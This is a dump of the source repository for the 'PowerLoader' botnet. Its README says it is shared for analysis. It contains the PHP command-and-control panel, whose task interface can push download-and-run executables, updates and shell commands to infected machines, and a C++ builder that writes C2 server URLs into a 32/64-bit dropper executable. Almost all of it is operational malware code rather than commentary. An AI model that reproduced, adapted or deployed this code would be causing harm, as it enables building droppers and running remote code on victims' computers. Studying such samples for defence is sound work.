├── README.md ├── panel ├── .htaccess ├── act │ ├── cron.php │ ├── files.php │ ├── settings.php │ ├── stats.php │ ├── tasks.php │ └── tasksajax.php ├── common.php ├── data.php ├── favicon.ico ├── geo │ ├── .htaccess │ ├── GeoIPCity.dat │ ├── geoip.inc │ ├── geoipcity.inc │ ├── geoipregionvars.php │ └── index.html ├── img │ ├── ajax.js │ ├── c │ │ ├── ad.gif │ │ ├── ae.gif │ │ ├── af.gif │ │ ├── ag.gif │ │ ├── ai.gif │ │ ├── al.gif │ │ ├── am.gif │ │ ├── an.gif │ │ ├── ao.gif │ │ ├── ar.gif │ │ ├── as.gif │ │ ├── at.gif │ │ ├── au.gif │ │ ├── aw.gif │ │ ├── ax.gif │ │ ├── az.gif │ │ ├── ba.gif │ │ ├── bb.gif │ │ ├── bd.gif │ │ ├── be.gif │ │ ├── bf.gif │ │ ├── bg.gif │ │ ├── bh.gif │ │ ├── bi.gif │ │ ├── bj.gif │ │ ├── bm.gif │ │ ├── bn.gif │ │ ├── bo.gif │ │ ├── br.gif │ │ ├── bs.gif │ │ ├── bt.gif │ │ ├── bv.gif │ │ ├── bw.gif │ │ ├── by.gif │ │ ├── bz.gif │ │ ├── ca.gif │ │ ├── catalonia.gif │ │ ├── cc.gif │ │ ├── cd.gif │ │ ├── cf.gif │ │ ├── cg.gif │ │ ├── ch.gif │ │ ├── ci.gif │ │ ├── ck.gif │ │ ├── cl.gif │ │ ├── cm.gif │ │ ├── cn.gif │ │ ├── co.gif │ │ ├── cr.gif │ │ ├── cs.gif │ │ ├── cu.gif │ │ ├── cv.gif │ │ ├── cx.gif │ │ ├── cy.gif │ │ ├── cz.gif │ │ ├── de.gif │ │ ├── dj.gif │ │ ├── dk.gif │ │ ├── dm.gif │ │ ├── do.gif │ │ ├── dz.gif │ │ ├── ec.gif │ │ ├── ee.gif │ │ ├── eg.gif │ │ ├── eh.gif │ │ ├── england.gif │ │ ├── er.gif │ │ ├── es.gif │ │ ├── et.gif │ │ ├── europeanunion.gif │ │ ├── fam.gif │ │ ├── fi.gif │ │ ├── fj.gif │ │ ├── fk.gif │ │ ├── fm.gif │ │ ├── fo.gif │ │ ├── fr.gif │ │ ├── ga.gif │ │ ├── gb.gif │ │ ├── gd.gif │ │ ├── ge.gif │ │ ├── gf.gif │ │ ├── gh.gif │ │ ├── gi.gif │ │ ├── gl.gif │ │ ├── gm.gif │ │ ├── gn.gif │ │ ├── gp.gif │ │ ├── gq.gif │ │ ├── gr.gif │ │ ├── gs.gif │ │ ├── gt.gif │ │ ├── gu.gif │ │ ├── gw.gif │ │ ├── gy.gif │ │ ├── hk.gif │ │ ├── hm.gif │ │ ├── hn.gif │ │ ├── hr.gif │ │ ├── ht.gif │ │ ├── hu.gif │ │ ├── id.gif │ │ ├── ie.gif │ │ ├── il.gif │ │ ├── in.gif │ │ ├── io.gif │ │ ├── iq.gif │ │ ├── ir.gif │ │ ├── is.gif │ │ ├── it.gif │ │ ├── jm.gif │ │ ├── jo.gif │ │ ├── jp.gif │ │ ├── ke.gif │ │ ├── kg.gif │ │ ├── kh.gif │ │ ├── ki.gif │ │ ├── km.gif │ │ ├── kn.gif │ │ ├── kp.gif │ │ ├── kr.gif │ │ ├── kw.gif │ │ ├── ky.gif │ │ ├── kz.gif │ │ ├── la.gif │ │ ├── lb.gif │ │ ├── lc.gif │ │ ├── li.gif │ │ ├── lk.gif │ │ ├── lr.gif │ │ ├── ls.gif │ │ ├── lt.gif │ │ ├── lu.gif │ │ ├── lv.gif │ │ ├── ly.gif │ │ ├── ma.gif │ │ ├── mc.gif │ │ ├── md.gif │ │ ├── me.gif │ │ ├── mg.gif │ │ ├── mh.gif │ │ ├── mix.gif │ │ ├── mk.gif │ │ ├── ml.gif │ │ ├── mm.gif │ │ ├── mn.gif │ │ ├── mo.gif │ │ ├── mp.gif │ │ ├── mq.gif │ │ ├── mr.gif │ │ ├── ms.gif │ │ ├── mt.gif │ │ ├── mu.gif │ │ ├── mv.gif │ │ ├── mw.gif │ │ ├── mx.gif │ │ ├── my.gif │ │ ├── mz.gif │ │ ├── na.gif │ │ ├── nc.gif │ │ ├── ne.gif │ │ ├── nf.gif │ │ ├── ng.gif │ │ ├── ni.gif │ │ ├── nl.gif │ │ ├── no.gif │ │ ├── np.gif │ │ ├── nr.gif │ │ ├── nu.gif │ │ ├── nz.gif │ │ ├── om.gif │ │ ├── pa.gif │ │ ├── pe.gif │ │ ├── pf.gif │ │ ├── pg.gif │ │ ├── ph.gif │ │ ├── pk.gif │ │ ├── pl.gif │ │ ├── pm.gif │ │ ├── pn.gif │ │ ├── pr.gif │ │ ├── ps.gif │ │ ├── pt.gif │ │ ├── pw.gif │ │ ├── py.gif │ │ ├── qa.gif │ │ ├── re.gif │ │ ├── ro.gif │ │ ├── rs.gif │ │ ├── ru.gif │ │ ├── rw.gif │ │ ├── sa.gif │ │ ├── sb.gif │ │ ├── sc.gif │ │ ├── scotland.gif │ │ ├── sd.gif │ │ ├── se.gif │ │ ├── sg.gif │ │ ├── sh.gif │ │ ├── si.gif │ │ ├── sj.gif │ │ ├── sk.gif │ │ ├── sl.gif │ │ ├── sm.gif │ │ ├── sn.gif │ │ ├── so.gif │ │ ├── sr.gif │ │ ├── st.gif │ │ ├── sv.gif │ │ ├── sy.gif │ │ ├── sz.gif │ │ ├── tc.gif │ │ ├── td.gif │ │ ├── tf.gif │ │ ├── tg.gif │ │ ├── th.gif │ │ ├── tj.gif │ │ ├── tk.gif │ │ ├── tl.gif │ │ ├── tm.gif │ │ ├── tn.gif │ │ ├── to.gif │ │ ├── tr.gif │ │ ├── tt.gif │ │ ├── tv.gif │ │ ├── tw.gif │ │ ├── tz.gif │ │ ├── ua.gif │ │ ├── ug.gif │ │ ├── um.gif │ │ ├── unknown.gif │ │ ├── us.gif │ │ ├── uy.gif │ │ ├── uz.gif │ │ ├── va.gif │ │ ├── vc.gif │ │ ├── ve.gif │ │ ├── vg.gif │ │ ├── vi.gif │ │ ├── vn.gif │ │ ├── vu.gif │ │ ├── wales.gif │ │ ├── wf.gif │ │ ├── ws.gif │ │ ├── ye.gif │ │ ├── yt.gif │ │ ├── za.gif │ │ ├── zm.gif │ │ └── zw.gif │ ├── footer.tpl │ ├── general.css │ ├── header.tpl │ ├── jquery-1.2.3.pack.js │ ├── table_light_bg.gif │ ├── tasks.js │ └── top_bg.gif ├── index.php └── install.php └── src ├── _out └── builder_Release.exe ├── _vcxproj ├── sdropper.sln └── sdropper.suo ├── binhex ├── Debug │ ├── sdropper32-hex.h │ └── sdropper64-hex.h └── Release │ ├── sdropper32-hex.h │ └── sdropper64-hex.h ├── builder ├── builder.cpp └── vcxproj │ ├── Debug │ ├── CL.2396.read.1.tlog │ ├── CL.2396.write.1.tlog │ ├── CL.2884.read.1.tlog │ ├── CL.2884.write.1.tlog │ ├── CL.4652.read.1.tlog │ ├── CL.4652.write.1.tlog │ ├── CL.5012.read.1.tlog │ ├── CL.5012.write.1.tlog │ ├── CL.read.1.tlog │ ├── builder.lastbuildstate │ ├── builder.log │ ├── builder.obj │ ├── builder.res │ ├── builder_Debug.Build.CppClean.log │ ├── cl.command.1.tlog │ ├── cl.write.1.tlog │ ├── link-cvtres.read.1.tlog │ ├── link-cvtres.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── peldr.obj │ ├── rc.command.1.tlog │ ├── rc.read.1.tlog │ ├── rc.write.1.tlog │ ├── seccfg.obj │ ├── utils.obj │ └── vc100.pdb │ ├── Release │ ├── CL.2716.read.1.tlog │ ├── CL.2716.write.1.tlog │ ├── CL.3052.read.1.tlog │ ├── CL.3052.write.1.tlog │ ├── CL.4484.read.1.tlog │ ├── CL.4484.write.1.tlog │ ├── CL.5560.read.1.tlog │ ├── CL.5560.write.1.tlog │ ├── CL.read.1.tlog │ ├── builder.lastbuildstate │ ├── builder.log │ ├── builder.obj │ ├── builder.res │ ├── builder_Release.Build.CppClean.log │ ├── cl.command.1.tlog │ ├── cl.write.1.tlog │ ├── link-cvtres.read.1.tlog │ ├── link-cvtres.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── peldr.obj │ ├── rc.command.1.tlog │ ├── rc.read.1.tlog │ ├── rc.write.1.tlog │ ├── seccfg.obj │ ├── utils.obj │ └── vc100.pdb │ ├── builder.aps │ ├── builder.rc │ ├── builder.vcxproj │ ├── builder.vcxproj.filters │ ├── builder.vcxproj.user │ ├── icon1.ico │ └── resource.h ├── sdropper ├── config.cpp ├── config.h ├── dropper.cpp ├── dropper.h ├── protect.cpp ├── protect.h ├── server.cpp ├── server.h ├── vcxproj32 │ ├── Debug │ │ ├── CL.1336.read.1.tlog │ │ ├── CL.1336.write.1.tlog │ │ ├── CL.1392.read.1.tlog │ │ ├── CL.1392.write.1.tlog │ │ ├── CL.3692.read.1.tlog │ │ ├── CL.3692.write.1.tlog │ │ ├── CL.4524.read.1.tlog │ │ ├── CL.4524.write.1.tlog │ │ ├── CL.6008.read.1.tlog │ │ ├── CL.6008.write.1.tlog │ │ ├── CL.6012.read.1.tlog │ │ ├── CL.6012.write.1.tlog │ │ ├── CL.696.read.1.tlog │ │ ├── CL.696.write.1.tlog │ │ ├── CL.876.read.1.tlog │ │ ├── CL.876.write.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── cfgini.obj │ │ ├── cl.command.1.tlog │ │ ├── cl.write.1.tlog │ │ ├── config.obj │ │ ├── dropper.obj │ │ ├── exploit.obj │ │ ├── inject.obj │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ ├── link.write.1.tlog │ │ ├── peldr.obj │ │ ├── protect.obj │ │ ├── sdropper32.Build.CppClean.log │ │ ├── sdropper32.lastbuildstate │ │ ├── sdropper32.log │ │ ├── sdropper32.write.1.tlog │ │ ├── seccfg.obj │ │ ├── server.obj │ │ ├── utils.obj │ │ ├── vc100.pdb │ │ └── x64utils.obj │ ├── Release │ │ ├── CL.1860.read.1.tlog │ │ ├── CL.1860.write.1.tlog │ │ ├── CL.2068.read.1.tlog │ │ ├── CL.2068.write.1.tlog │ │ ├── CL.4308.read.1.tlog │ │ ├── CL.4308.write.1.tlog │ │ ├── CL.4412.read.1.tlog │ │ ├── CL.4412.write.1.tlog │ │ ├── CL.4716.read.1.tlog │ │ ├── CL.4716.write.1.tlog │ │ ├── CL.4748.read.1.tlog │ │ ├── CL.4748.write.1.tlog │ │ ├── CL.5724.read.1.tlog │ │ ├── CL.5724.write.1.tlog │ │ ├── CL.5796.read.1.tlog │ │ ├── CL.5796.write.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── cfgini.obj │ │ ├── cl.command.1.tlog │ │ ├── cl.write.1.tlog │ │ ├── config.obj │ │ ├── dropper.obj │ │ ├── inject.obj │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ ├── link.write.1.tlog │ │ ├── peldr.obj │ │ ├── protect.obj │ │ ├── sdropper32.Build.CppClean.log │ │ ├── sdropper32.lastbuildstate │ │ ├── sdropper32.log │ │ ├── sdropper32.write.1.tlog │ │ ├── seccfg.obj │ │ ├── server.obj │ │ ├── utils.obj │ │ ├── vc100.pdb │ │ └── x64utils.obj │ ├── sdropper32.vcxproj │ ├── sdropper32.vcxproj.filters │ └── sdropper32.vcxproj.user └── vcxproj64 │ ├── Debug │ ├── CL.1176.read.1.tlog │ ├── CL.1176.write.1.tlog │ ├── CL.2396.read.1.tlog │ ├── CL.2396.write.1.tlog │ ├── CL.3720.read.1.tlog │ ├── CL.3720.write.1.tlog │ ├── CL.4680.read.1.tlog │ ├── CL.4680.write.1.tlog │ ├── CL.5012.read.1.tlog │ ├── CL.5012.write.1.tlog │ ├── CL.5252.read.1.tlog │ ├── CL.5252.write.1.tlog │ ├── CL.6020.read.1.tlog │ ├── CL.6020.write.1.tlog │ ├── CL.824.read.1.tlog │ ├── CL.824.write.1.tlog │ ├── CL.read.1.tlog │ ├── cfgini.obj │ ├── cl.command.1.tlog │ ├── cl.write.1.tlog │ ├── config.obj │ ├── dropper.obj │ ├── exploit.obj │ ├── inject.obj │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── peldr.obj │ ├── protect.obj │ ├── sdropper64.Build.CppClean.log │ ├── sdropper64.lastbuildstate │ ├── sdropper64.log │ ├── sdropper64.write.1.tlog │ ├── seccfg.obj │ ├── server.obj │ ├── utils.obj │ └── vc100.pdb │ ├── Release │ ├── CL.1400.read.1.tlog │ ├── CL.1400.write.1.tlog │ ├── CL.3840.read.1.tlog │ ├── CL.3840.write.1.tlog │ ├── CL.4204.read.1.tlog │ ├── CL.4204.write.1.tlog │ ├── CL.4920.read.1.tlog │ ├── CL.4920.write.1.tlog │ ├── CL.5072.read.1.tlog │ ├── CL.5072.write.1.tlog │ ├── CL.5164.read.1.tlog │ ├── CL.5164.write.1.tlog │ ├── CL.5264.read.1.tlog │ ├── CL.5264.write.1.tlog │ ├── CL.5744.read.1.tlog │ ├── CL.5744.write.1.tlog │ ├── CL.read.1.tlog │ ├── cfgini.obj │ ├── cl.command.1.tlog │ ├── cl.write.1.tlog │ ├── config.obj │ ├── dropper.obj │ ├── inject.obj │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── peldr.obj │ ├── protect.obj │ ├── sdropper64.Build.CppClean.log │ ├── sdropper64.lastbuildstate │ ├── sdropper64.log │ ├── sdropper64.write.1.tlog │ ├── seccfg.obj │ ├── server.obj │ ├── utils.obj │ └── vc100.pdb │ ├── sdropper64.vcxproj │ ├── sdropper64.vcxproj.filters │ └── sdropper64.vcxproj.user ├── share ├── cfgini.cpp ├── cfgini.h ├── hde32 │ ├── hde32.cpp │ ├── hde32.h │ └── table32.h ├── hde64 │ ├── hde64.cpp │ ├── hde64.h │ └── table64.h ├── ntdll.h ├── ntdll32.lib ├── ntdll64.lib ├── os_structs.h ├── peldr.cpp ├── peldr.h ├── seccfg.cpp ├── seccfg.h └── stdint.h └── tools └── bin2hex.exe /README.md: -------------------------------------------------------------------------------- 1 | # PowerLoader 2 | Power Loader botnet 3 | 4 | This repository doesn't contain my code. I have uploaded it to GitHub for those want to analyse the code. 5 | -------------------------------------------------------------------------------- /panel/.htaccess: -------------------------------------------------------------------------------- 1 | AddDefaultCharset utf-8 2 | AddCharset utf-8 * 3 | 4 | CharsetSourceEnc utf-8 5 | CharsetDefault utf-8 6 | -------------------------------------------------------------------------------- /panel/act/files.php: -------------------------------------------------------------------------------- 1 |
4 | All list 5 | Add 6 |
"; 7 | 8 | if (isset($_GET['del'])) 9 | { 10 | $id = (int)$_GET['del']; 11 | 12 | $db->query("DELETE FROM `files` WHERE fId={$id}"); 13 | } 14 | 15 | if (!isset($_GET['add'])) 16 | { 17 | $files = $db->query('SELECT * FROM `files`')->fetchAllAssoc(); 18 | 19 | echo " 8 | "; 16 | 17 | break; 18 | } 19 | 20 | ?> 21 | -------------------------------------------------------------------------------- /panel/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/favicon.ico -------------------------------------------------------------------------------- /panel/geo/.htaccess: -------------------------------------------------------------------------------- 1 | Order deny,allow 2 | Deny from all 3 | -------------------------------------------------------------------------------- /panel/geo/GeoIPCity.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/geo/GeoIPCity.dat -------------------------------------------------------------------------------- /panel/geo/geoipregionvars.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/geo/geoipregionvars.php -------------------------------------------------------------------------------- /panel/geo/index.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/geo/index.html -------------------------------------------------------------------------------- /panel/img/ajax.js: -------------------------------------------------------------------------------- 1 | var xmlHttp = createXmlHttpRequestObject(); 2 | // creates an XMLHttpRequest instance 3 | function createXmlHttpRequestObject() 4 | { 5 | // will store the reference to the XMLHttpRequest object 6 | var xmlHttp; 7 | // this should work for all browsers except IE6 and older 8 | try{ 9 | // try to create XMLHttpRequest object 10 | xmlHttp = new XMLHttpRequest(); 11 | }catch(e){ 12 | // assume IE6 or older 13 | var XmlHttpVersions = new Array("MSXML2.XMLHTTP.6.0", 14 | "MSXML2.XMLHTTP.5.0", 15 | "MSXML2.XMLHTTP.4.0", 16 | "MSXML2.XMLHTTP.3.0", 17 | "MSXML2.XMLHTTP", 18 | "Microsoft.XMLHTTP"); 19 | // try every prog id until one works 20 | for (var i=0; i 2 | 3 | 4 | -------------------------------------------------------------------------------- /panel/img/header.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | PowerLoader v1.0 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 24 | 25 | 26 | 27 | 28 |
29 |
30 | Stats 31 | Tasks 32 | Files 33 | Settings 34 |
35 |
36 | 37 |
38 | 39 | -------------------------------------------------------------------------------- /panel/img/table_light_bg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/img/table_light_bg.gif -------------------------------------------------------------------------------- /panel/img/tasks.js: -------------------------------------------------------------------------------- 1 | 2 | function handleExtended() 3 | { 4 | // if the process is completed, decide to do with the returned data 5 | if (xmlHttp.readyState == 4) 6 | { 7 | // only if HTTP status is "OK" 8 | if (xmlHttp.status == 200) 9 | { 10 | try 11 | { 12 | document.getElementById('taskiface').innerHTML = xmlHttp.responseText; 13 | } 14 | catch(e) 15 | { 16 | // display the error message 17 | alert(e.toString() + "\n" + xmlHttp.responseText); 18 | } 19 | } 20 | else 21 | { 22 | alert("There was a problem retrieving the data:\n" + xmlHttp.statusText); 23 | } 24 | } 25 | } 26 | 27 | function getExtended() 28 | { 29 | if (xmlHttp) 30 | { 31 | try 32 | { 33 | params = "?b=tasksajax&s=extended"; 34 | 35 | xmlHttp.open("GET", "index.php" + params, true); 36 | xmlHttp.onreadystatechange = handleExtended; 37 | xmlHttp.send(null); 38 | } 39 | catch(e) 40 | { 41 | alert("Error: \n" + e.toString()); 42 | } 43 | } 44 | } 45 | 46 | function load_task_iface() 47 | { 48 | var tasktype = document.getElementById('tasktype').value; 49 | var taskiface = document.getElementById('taskiface'); 50 | 51 | if (tasktype == 'DownloadRunExeUrl') 52 | { 53 | taskiface.innerHTML = "
"; 54 | } 55 | else if (tasktype == 'DownloadRunExeId' || tasktype == 'DownloadRunModId' || tasktype == 'DownloadUpdateMain') 56 | { 57 | getExtended(); 58 | } 59 | else if (tasktype == 'WriteConfigString') 60 | { 61 | taskiface.innerHTML = ""; 63 | } 64 | else if (tasktype == 'Command') 65 | { 66 | taskiface.innerHTML = ""; 67 | } 68 | else 69 | { 70 | taskiface.innerHTML = ''; 71 | return; 72 | } 73 | } 74 | 75 | -------------------------------------------------------------------------------- /panel/img/top_bg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/panel/img/top_bg.gif -------------------------------------------------------------------------------- /panel/index.php: -------------------------------------------------------------------------------- 1 | query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";'); 20 | $db->debug = (defined('DEBUG') && DEBUG && defined('MYSQL_DEBUG') && MYSQL_DEBUG); 21 | 22 | if (isset($_GET['b'])) 23 | { 24 | header('Content-Type: text/xml'); 25 | echo '' . "\r\n"; 26 | $page = $_GET['b']; 27 | if (preg_match('/^[a-zA-Z]{1,20}$/', $page)) if (file_exists("act/$page.php")) include("act/$page.php"); else echo "Illegal page"; else echo "Illegal page"; 28 | @ob_end_flush(); 29 | exit(); 30 | } 31 | 32 | header('Content-Type: text/html; charset=UTF-8'); 33 | 34 | require_once('img/header.tpl'); 35 | 36 | if (!$_GET['act']) $_GET['act'] = 'stats'; 37 | $page = $_GET['act']; 38 | if (preg_match('/^[a-zA-Z]{1,20}$/', $page)) if (file_exists("act/$page.php")) include("act/$page.php"); else echo "Illegal page"; else echo "Illegal page"; 39 | 40 | require_once('img/footer.tpl'); 41 | 42 | @ob_end_flush(); 43 | 44 | $db->close(); 45 | 46 | if (defined('DEBUG') && defined('TIME_DEBUG')) echo "\n".''; 47 | 48 | ?> 49 | -------------------------------------------------------------------------------- /src/_out/builder_Release.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/_out/builder_Release.exe -------------------------------------------------------------------------------- /src/_vcxproj/sdropper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sdropper32", "..\sdropper\vcxproj32\sdropper32.vcxproj", "{FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sdropper64", "..\sdropper\vcxproj64\sdropper64.vcxproj", "{094DEADD-DED5-48FC-9A46-ABC7005FAE18}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "builder", "..\builder\vcxproj\builder.vcxproj", "{CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}" 9 | ProjectSection(ProjectDependencies) = postProject 10 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5} = {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5} 11 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18} = {094DEADD-DED5-48FC-9A46-ABC7005FAE18} 12 | EndProjectSection 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|32and64 = Debug|32and64 17 | Debug|Mixed Platforms = Debug|Mixed Platforms 18 | Debug|Win32 = Debug|Win32 19 | Release|32and64 = Release|32and64 20 | Release|Mixed Platforms = Release|Mixed Platforms 21 | Release|Win32 = Release|Win32 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|32and64.ActiveCfg = Debug|Win32 25 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|32and64.Build.0 = Debug|Win32 26 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 27 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|Mixed Platforms.Build.0 = Debug|Win32 28 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|Win32.ActiveCfg = Debug|Win32 29 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Debug|Win32.Build.0 = Debug|Win32 30 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|32and64.ActiveCfg = Release|Win32 31 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|32and64.Build.0 = Release|Win32 32 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|Mixed Platforms.ActiveCfg = Release|Win32 33 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|Mixed Platforms.Build.0 = Release|Win32 34 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|Win32.ActiveCfg = Release|Win32 35 | {FD1477B2-DF25-4B15-BE7D-9B0CBD5A38A5}.Release|Win32.Build.0 = Release|Win32 36 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Debug|32and64.ActiveCfg = Debug|x64 37 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Debug|32and64.Build.0 = Debug|x64 38 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Debug|Mixed Platforms.ActiveCfg = Debug|x64 39 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Debug|Mixed Platforms.Build.0 = Debug|x64 40 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Debug|Win32.ActiveCfg = Debug|x64 41 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Release|32and64.ActiveCfg = Release|x64 42 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Release|32and64.Build.0 = Release|x64 43 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Release|Mixed Platforms.ActiveCfg = Release|x64 44 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Release|Mixed Platforms.Build.0 = Release|x64 45 | {094DEADD-DED5-48FC-9A46-ABC7005FAE18}.Release|Win32.ActiveCfg = Release|x64 46 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|32and64.ActiveCfg = Debug|Win32 47 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|32and64.Build.0 = Debug|Win32 48 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 49 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|Mixed Platforms.Build.0 = Debug|Win32 50 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|Win32.ActiveCfg = Debug|Win32 51 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Debug|Win32.Build.0 = Debug|Win32 52 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|32and64.ActiveCfg = Release|Win32 53 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|32and64.Build.0 = Release|Win32 54 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|Mixed Platforms.ActiveCfg = Release|Win32 55 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|Mixed Platforms.Build.0 = Release|Win32 56 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|Win32.ActiveCfg = Release|Win32 57 | {CF577EEA-7F81-4DBF-B7E8-F4704E69DF29}.Release|Win32.Build.0 = Release|Win32 58 | EndGlobalSection 59 | GlobalSection(SolutionProperties) = preSolution 60 | HideSolutionNode = FALSE 61 | EndGlobalSection 62 | EndGlobal 63 | -------------------------------------------------------------------------------- /src/_vcxproj/sdropper.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/_vcxproj/sdropper.suo -------------------------------------------------------------------------------- /src/builder/builder.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "utils.h" 10 | #include "peldr.h" 11 | #include "seccfg.h" 12 | 13 | #include "vcxproj/resource.h" 14 | 15 | namespace Dropper32Hex 16 | { 17 | #include "sdropper32-hex.h" 18 | } 19 | 20 | namespace Dropper64Hex 21 | { 22 | #include "sdropper64-hex.h" 23 | } 24 | 25 | BOOL BuildDropper(LPSTR Data) 26 | { 27 | BOOL bOk = FALSE; 28 | PVOID Dropper32Image; 29 | DWORD_PTR Dropper32ImageSize; 30 | SecCfg::SECTION_CONFIG SectionConfig; 31 | 32 | SectionConfig.Name = SECCFG_SECTION_NAME; 33 | SectionConfig.Config = (PVOID)Data; 34 | SectionConfig.Raw.ConfigSize = strlen(Data)+1; 35 | 36 | SectionConfig.Image = Dropper64Hex::data; 37 | SectionConfig.Raw.ImageSize = sizeof(Dropper64Hex::data); 38 | 39 | if (SecCfg::InsertSectionConfig(&SectionConfig, Dropper32Hex::data, sizeof(Dropper32Hex::data), &Dropper32Image, &Dropper32ImageSize, FALSE)) 40 | { 41 | bOk = Utils::FileWrite("dropper.exe", CREATE_ALWAYS, Dropper32Image, Dropper32ImageSize); 42 | } 43 | 44 | return bOk; 45 | } 46 | 47 | int WINAPI MainDlgProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 48 | { 49 | if (message == WM_INITDIALOG) 50 | { 51 | 52 | } 53 | 54 | if (message == WM_COMMAND) 55 | { 56 | if (wParam == IDOK) 57 | { 58 | //http://192.168.179.2/sana/data.php 59 | 60 | CHAR Url1[260] = {0}; 61 | CHAR Url2[260] = {0}; 62 | CHAR Url3[260] = {0}; 63 | CHAR Delay[20] = {0}; 64 | CHAR Retry[20] = {0}; 65 | CHAR Build[100] = {0}; 66 | 67 | GetDlgItemText(hWnd, IDC_URL1, Url1, sizeof(Url1)); 68 | GetDlgItemText(hWnd, IDC_URL2, Url2, sizeof(Url2)); 69 | GetDlgItemText(hWnd, IDC_URL3, Url3, sizeof(Url3)); 70 | GetDlgItemText(hWnd, IDC_DELAY, Delay, sizeof(Delay)); 71 | GetDlgItemText(hWnd, IDC_RETRY, Retry, sizeof(Retry)); 72 | GetDlgItemText(hWnd, IDC_BUILD, Build, sizeof(Build)); 73 | 74 | CHAR CreatedConfig[1024] = {0}; 75 | 76 | sprintf(CreatedConfig, "[main]\r\nsrvurls=%s;%s;%s\r\nsrvdelay=%s\r\nsrvretry=%s\r\nbuildid=%s\r\n", Url1, Url2, Url3, Delay, Retry, Build); 77 | 78 | if (BuildDropper(CreatedConfig)) 79 | { 80 | MessageBox(0, "OK", "OK", MB_OK); 81 | } 82 | 83 | return 0; 84 | } 85 | 86 | 87 | if (wParam == IDCANCEL) 88 | { 89 | return EndDialog(hWnd, 0), ExitProcess(0), 0; 90 | } 91 | } 92 | 93 | return 0; 94 | } 95 | 96 